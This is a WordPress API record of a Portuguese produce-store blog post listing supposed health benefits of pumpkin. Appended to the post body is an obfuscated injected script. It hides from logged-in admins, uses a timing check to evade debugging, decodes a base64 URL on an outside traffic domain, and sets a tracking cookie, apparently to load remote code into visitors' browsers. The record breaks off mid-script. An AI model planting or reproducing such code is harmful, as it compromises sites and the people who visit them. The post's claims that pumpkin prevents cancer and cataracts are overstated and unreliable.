{"id":230,"date":"2021-09-30T11:32:09","date_gmt":"2021-09-30T14:32:09","guid":{"rendered":"http:\/\/ceagguarulhos.com.br\/blog2\/?p=230"},"modified":"2026-06-10T05:30:37","modified_gmt":"2026-06-10T08:30:37","slug":"beneficios-da-abobora","status":"publish","type":"post","link":"https:\/\/ceagguarulhos.com.br\/blog2\/2021\/09\/30\/beneficios-da-abobora\/","title":{"rendered":"Benef\u00edcios da ab\u00f3bora"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"5\" src=\"http:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png\" alt=\"\" class=\"wp-image-26\" srcset=\"https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1024x5.png 1024w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-300x1.png 300w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-768x3.png 768w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-1536x7.png 1536w, https:\/\/ceagguarulhos.com.br\/blog2\/wp-content\/uploads\/2020\/04\/faixa-ceag-2048x9.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A ab\u00f3bora, tamb\u00e9m conhecida em algumas regi\u00f5es como jerimum, \u00e9 o fruto da aboboreira com pouco carboidrato e poucas calorias, mas ricamente nutritiva, rica em vitaminas A e C, possui pot\u00e1ssio, magn\u00e9sio, fibras, c\u00e1lcio, ferro e vitaminas B1, B3, B5 e B6. Usada muitas vezes na culin\u00e1ria como dieta, pois ajuda a emagrecer, a controlar o peso e n\u00e3o engordam.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Separamos alguns benef\u00edcios que a ab\u00f3bora traz a sa\u00fade, quando se faz o consumo regular:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Previne rugas e melhora a pele, devido \u00e0 presen\u00e7a de vitamina A e carotenoides;<\/li><li>Aumenta a sensa\u00e7\u00e3o de saciedade, devido \u00e0 presen\u00e7a de fibras;<\/li><li>Fortalece o sistema imunol\u00f3gico, por ser rica em vitamina A e C;<\/li><li>Previne catarata, por conter lute\u00edna e zeaxantina, poderosos antioxidantes que atuam nos olhos;<\/li><li>Melhora a sa\u00fade dos olhos, por ser rica em vitamina A e carotenoides;<\/li><li>Ajuda a perder peso, por ter poucas calorias e ser rica em fibras;<\/li><li>Previne o c\u00e2ncer, devido ao seu alto teor de betacarotenos, vitamina A e C.<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Voc\u00ea consume ab\u00f3bora?<br>N\u00e3o? Que tal come\u00e7ar? Consuma ab\u00f3bora e ajude a melhorar a sua sa\u00fade.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Gostaria de mais detalhes e informa\u00e7\u00f5es sobre os benef\u00edcios de outras frutas, vegetais, legumes e verduras? Visite nosso blog clicando no link na bio.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Aqui no CEAG Hortifruti temos ampla variedade e qualidade nas nossas frutas. \ud83c\udf47\ud83e\udd6d\ud83c\udf4a\ud83c\udf4e\ud83c\udf49\ud83c\udf4d\ud83c\udf4f\ud83c\udf50\ud83c\udf4c\ud83c\udf53\ud83c\udf52\ud83c\udf51<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Fonte: uol; tuasaude.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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